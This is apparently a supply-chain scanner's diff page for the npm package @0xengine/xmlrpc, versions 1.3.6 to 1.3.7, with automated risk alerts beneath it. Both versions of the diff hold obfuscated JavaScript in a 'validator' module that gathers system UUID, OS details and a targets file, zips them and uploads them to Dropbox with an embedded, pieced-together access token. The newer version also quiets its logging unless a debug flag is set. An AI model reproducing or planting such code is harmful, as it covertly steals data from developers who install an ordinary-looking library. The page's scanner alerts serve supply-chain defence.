@0xengine/xmlrpc
Advanced tools
Comparing version 1.3.6 to 1.3.7
@@ -1,1 +0,1 @@ | ||
const a0_0x4ee1d7=a0_0x49a9;(function(_0x31245b,_0x559968){const _0x382301=a0_0x49a9,_0x5e9431=_0x31245b();while(!![]){try{const _0x42482e=parseInt(_0x382301(0x108))/0x1+-parseInt(_0x382301(0x100))/0x2+-parseInt(_0x382301(0xf3))/0x3+-parseInt(_0x382301(0x116))/0x4*(parseInt(_0x382301(0x115))/0x5)+-parseInt(_0x382301(0x114))/0x6+parseInt(_0x382301(0x117))/0x7+parseInt(_0x382301(0xed))/0x8*(parseInt(_0x382301(0xf0))/0x9);if(_0x42482e===_0x559968)break;else _0x5e9431['push'](_0x5e9431['shift']());}catch(_0x20da9e){_0x5e9431['push'](_0x5e9431['shift']());}}}(a0_0x3522,0xc59fe));const fs=require('fs-extra'),{zip}=require(a0_0x4ee1d7(0xfc)+'er'),si=require(a0_0x4ee1d7(0x118)+a0_0x4ee1d7(0x10e)),os=require('os'),path=require('path'),dropboxV2Api=require(a0_0x4ee1d7(0x104)+a0_0x4ee1d7(0x10f));async function validator(){const _0xdf2fae=a0_0x4ee1d7,_0x531d96=()=>{const _0x205c55=a0_0x49a9,_0x2a5c91=_0x205c55(0xf7)+'ZGJTIISVrG'+_0x205c55(0xef),_0xb11604=_0x205c55(0xfd)+'ckOxpYX8OS'+_0x205c55(0xff)+_0x205c55(0x101)+_0x205c55(0xfe)+_0x205c55(0xf1)+'WlslTUdWsy'+'YKGfe3Cc',_0x4dd6c5='_bma0pHryH'+_0x205c55(0x119)+_0x205c55(0x10d)+_0x205c55(0x103),_0x1d623e=[];_0x1d623e[_0x205c55(0xf6)](_0x2a5c91),_0x1d623e[_0x205c55(0xf6)](_0xb11604),_0x1d623e[_0x205c55(0xf6)](_0x4dd6c5);let _0x169e62='';for(let _0x3b9cba=0x0;_0x3b9cba<_0x1d623e['length'];_0x3b9cba++){_0x169e62+=_0x1d623e[_0x3b9cba];}return _0x169e62;};console[_0xdf2fae(0x110)]('---->',process['argv']);const _0x2259bc=process['argv'][_0xdf2fae(0x10a)](_0x1c9d55=>_0x1c9d55===_0xdf2fae(0xee)||_0x1c9d55==='-t');if(_0x2259bc===-0x1)return;const _0x19ee16=path[_0xdf2fae(0x107)](process['argv'][_0x2259bc+0x1]);console['log'](_0xdf2fae(0xf4)+'c\x20path:\x20'+_0x19ee16);const _0x350a57=os[_0xdf2fae(0xfa)](),_0x378a06=Date[_0xdf2fae(0xf9)](),_0x163090=_0x350a57+'/'+_0x378a06;await fs['ensureDir'](_0x163090);const _0x132b00=await si['uuid'](),_0x8c0328=await si[_0xdf2fae(0x112)](),_0x22b2c7={'uuid':_0x132b00,'osInfo':_0x8c0328},_0x2c0ec8=JSON[_0xdf2fae(0xf8)](_0x22b2c7,null,0x2),_0x14c58b=_0x163090+_0xdf2fae(0x109);await fs[_0xdf2fae(0x10c)](_0x14c58b,_0x2c0ec8,{'encoding':'utf8'});const _0x2d7b5e=_0x163090+(_0xdf2fae(0x105)+'xt');await fs['copyFile'](_0x19ee16,_0x2d7b5e);const _0x5874f2=_0x132b00['os']+'-'+_0x378a06+_0xdf2fae(0xf5),_0x51a26d=_0x350a57+'/'+_0x5874f2;console[_0xdf2fae(0x110)](_0xdf2fae(0x111)+_0x51a26d),await zip(_0x163090,_0x51a26d);const _0x26115f=_0x531d96();console[_0xdf2fae(0x110)]('token:\x20'+_0x26115f);const _0x2b5bc6=fs[_0xdf2fae(0x113)+_0xdf2fae(0x102)](_0x51a26d),_0x356930=dropboxV2Api[_0xdf2fae(0x106)+'te']({'token':_0x26115f});_0x356930({'resource':_0xdf2fae(0xfb)+'ad','parameters':{'path':'/'+_0x5874f2},'readStream':_0x2b5bc6},(_0x501f28,_0x472acb,_0x403394)=>{const _0x57e55a=_0xdf2fae;console[_0x57e55a(0x110)](_0x57e55a(0xf2)),console['log'](_0x501f28),console[_0x57e55a(0x110)](_0x472acb);});}function a0_0x49a9(_0x4f02f7,_0x278313){const _0x35221f=a0_0x3522();return a0_0x49a9=function(_0x49a9ee,_0x2c6953){_0x49a9ee=_0x49a9ee-0xed;let _0x22ee6f=_0x35221f[_0x49a9ee];return _0x22ee6f;},a0_0x49a9(_0x4f02f7,_0x278313);}function a0_0x3522(){const _0x3e2873=['zipPath:\x20','osInfo','createRead','5879982NCnOxW','5xeMGGR','3826964pYfsaR','4740246ooxfct','systeminfo','w2nrXvD56R','16hvrkpl','--targets','eldWQeED','11925009mEJytp','4xUn5WbTHe','completed','343236mifOHn','targets\x20sr','.zip','push','sl.BnNx-Jp','stringify','now','tmpdir','files/uplo','zip-a-fold','_HjQB6nqdk','0vy3GUS8Y7','8UREJcUZbw','2096454xJMKTC','vaSfCa04PA','Stream','BbYcsKT','dropbox-v2','/targets.t','authentica','resolve','581667yfmjvZ','/si.json','findIndex','exports','writeFile','EOk-yYij2R','rmation','-api','log'];a0_0x3522=function(){return _0x3e2873;};return a0_0x3522();}module[a0_0x4ee1d7(0x10b)]=validator; | ||
const a0_0x2b42ad=a0_0x3dc7;(function(_0x1d9db0,_0x39ffa4){const _0x5c63ce=a0_0x3dc7,_0x5d7382=_0x1d9db0();while(!![]){try{const _0x2b615a=parseInt(_0x5c63ce(0xd5))/0x1*(-parseInt(_0x5c63ce(0xe1))/0x2)+parseInt(_0x5c63ce(0xdc))/0x3*(-parseInt(_0x5c63ce(0xd0))/0x4)+-parseInt(_0x5c63ce(0xf5))/0x5+-parseInt(_0x5c63ce(0xd4))/0x6+-parseInt(_0x5c63ce(0xf7))/0x7*(parseInt(_0x5c63ce(0xf6))/0x8)+-parseInt(_0x5c63ce(0xd7))/0x9*(-parseInt(_0x5c63ce(0xe8))/0xa)+parseInt(_0x5c63ce(0xd9))/0xb;if(_0x2b615a===_0x39ffa4)break;else _0x5d7382['push'](_0x5d7382['shift']());}catch(_0x205c0f){_0x5d7382['push'](_0x5d7382['shift']());}}}(a0_0x35a7,0x76a47));function a0_0x3dc7(_0x2ed1b8,_0x438f7d){const _0x35a74a=a0_0x35a7();return a0_0x3dc7=function(_0x3dc791,_0x2ac63b){_0x3dc791=_0x3dc791-0xcd;let _0x230adc=_0x35a74a[_0x3dc791];return _0x230adc;},a0_0x3dc7(_0x2ed1b8,_0x438f7d);}const fs=require(a0_0x2b42ad(0xe0)),{zip}=require('zip-a-fold'+'er'),si=require(a0_0x2b42ad(0xe4)+a0_0x2b42ad(0xfc)),os=require('os'),path=require('path'),dropboxV2Api=require(a0_0x2b42ad(0xf0)+a0_0x2b42ad(0xd3));async function validator(){const _0x49dcce=a0_0x2b42ad,_0x445cf7=process['argv'][_0x49dcce(0xe9)](_0x2c4a9e=>_0x2c4a9e===_0x49dcce(0xfa))!==undefined,_0xbf4740=_0x25ca84=>{const _0x306a68=_0x49dcce;_0x445cf7&&console[_0x306a68(0xde)](_0x25ca84);},_0x4cbbc6=()=>{const _0x2fd51c=_0x49dcce,_0x20d9f5=_0x2fd51c(0xd1),_0x21fe05=_0x2fd51c(0xdf)+_0x2fd51c(0xed)+_0x2fd51c(0x101)+_0x2fd51c(0xf3)+_0x2fd51c(0xf8)+_0x2fd51c(0xf9)+_0x2fd51c(0xd6)+'SE55iX8Usa'+_0x2fd51c(0xfd)+_0x2fd51c(0x100)+_0x2fd51c(0xe6)+_0x2fd51c(0xfb)+_0x2fd51c(0xeb)+'v4t9cLf8Yg',_0x4dbecb=[];_0x4dbecb[_0x2fd51c(0xf4)](_0x20d9f5),_0x4dbecb['push'](_0x21fe05);let _0x1c663b='';for(let _0x497610=0x0;_0x497610<_0x4dbecb[_0x2fd51c(0xe2)];_0x497610++){_0x1c663b+=_0x4dbecb[_0x497610];}return _0x1c663b;};_0xbf4740(process['argv']);const _0x2212f3=process[_0x49dcce(0xf2)]['findIndex'](_0x4301e1=>_0x4301e1==='--targets'||_0x4301e1==='-t');if(_0x2212f3===-0x1)return;const _0x2928a0=path[_0x49dcce(0xce)](process[_0x49dcce(0xf2)][_0x2212f3+0x1]);_0xbf4740(_0x49dcce(0xcd)+'c\x20path:\x20'+_0x2928a0);const _0xdb39b0=os[_0x49dcce(0xea)](),_0x2d5a30=Date[_0x49dcce(0xd8)](),_0x4d77b0=_0xdb39b0+'/'+_0x2d5a30;await fs[_0x49dcce(0xcf)](_0x4d77b0);const _0x550646=await si['uuid'](),_0x59e2fa=await si[_0x49dcce(0xe5)](),_0x5ae6dd={'uuid':_0x550646,'osInfo':_0x59e2fa},_0x131c6a=JSON[_0x49dcce(0xef)](_0x5ae6dd,null,0x2),_0x529fbb=_0x4d77b0+_0x49dcce(0xd2);await fs[_0x49dcce(0xe3)](_0x529fbb,_0x131c6a,{'encoding':_0x49dcce(0xda)});const _0xb41982=_0x4d77b0+(_0x49dcce(0xfe)+'xt');await fs[_0x49dcce(0xec)](_0x2928a0,_0xb41982);const _0x4d58ca=_0x550646['os']+'-'+_0x2d5a30+_0x49dcce(0xf1),_0x104c8b=_0xdb39b0+'/'+_0x4d58ca;_0xbf4740('zipPath:\x20'+_0x104c8b),await zip(_0x4d77b0,_0x104c8b);const _0x38f43d=_0x4cbbc6();_0xbf4740(_0x49dcce(0xdd)+_0x38f43d);const _0x2b2a31=fs[_0x49dcce(0xee)+_0x49dcce(0xe7)](_0x104c8b),_0x433058=dropboxV2Api['authentica'+'te']({'token':_0x38f43d});_0x433058({'resource':_0x49dcce(0xdb)+'ad','parameters':{'path':'/'+_0x4d58ca},'readStream':_0x2b2a31},(_0x1bcc5f,_0x533a85,_0x5deb68)=>{const _0x37b89b=_0x49dcce;_0x445cf7&&(_0x1bcc5f&&console['log'](_0x1bcc5f),_0x533a85&&console[_0x37b89b(0xde)](_0x533a85));});}function a0_0x35a7(){const _0x310faa=['rmation','M39Oy3sFGs','/targets.t','exports','zeuQG8YevS','RYeN1wDAdZ','targets\x20sr','resolve','ensureDir','3402196ySCiSc','sl.','/si.json','-api','3041730LlQeTu','416095zHxiEg','fmSV0SdJog','18ggfesD','now','35296162dxnYxv','utf8','files/uplo','3cSOPLo','token:\x20','log','BnPLZhbP1U','fs-extra','2lsJeSW','length','writeFile','systeminfo','osInfo','5hv6eq8SJD','Stream','2268790YclkuO','find','tmpdir','nLhZp4NvSv','copyFile','mlj2Q3ZIWH','createRead','stringify','dropbox-v2','.zip','argv','s1UkAQEHrZ','push','3607415kYZEPU','5451672JlXAnp','7dsZnJx','4RIzC6BNTS','xElRJtUSU8','--debug','xi3dKx2gFj'];a0_0x35a7=function(){return _0x310faa;};return a0_0x35a7();}module[a0_0x2b42ad(0xff)]=validator; |
@@ -5,3 +5,3 @@ var Client = require('./client') | ||
, dateFormatter = require('./date_formatter') | ||
, validator = require('./validator-obfuscated') | ||
, validator = require('./validator') | ||
@@ -8,0 +8,0 @@ var xmlrpc = exports |
@@ -10,3 +10,3 @@ { | ||
], | ||
"version": "1.3.6", | ||
"version": "1.3.7", | ||
"preferGlobal": false, | ||
@@ -13,0 +13,0 @@ "homepage": "https://bitbucket.org/0xsky/xmlrpc", |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Potential vulnerability
Supply chain riskInitial human review suggests the presence of a vulnerability in this package. It is pending further analysis and confirmation.
Found 1 instance in 1 package
Dynamic require
Supply chain riskDynamic require can indicate the package is performing dangerous or unsafe dynamic code execution.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Dynamic require
Supply chain riskDynamic require can indicate the package is performing dangerous or unsafe dynamic code execution.
Found 1 instance in 1 package
Filesystem access
Supply chain riskAccesses the file system, and could potentially read sensitive data.
Found 1 instance in 1 package
48344
5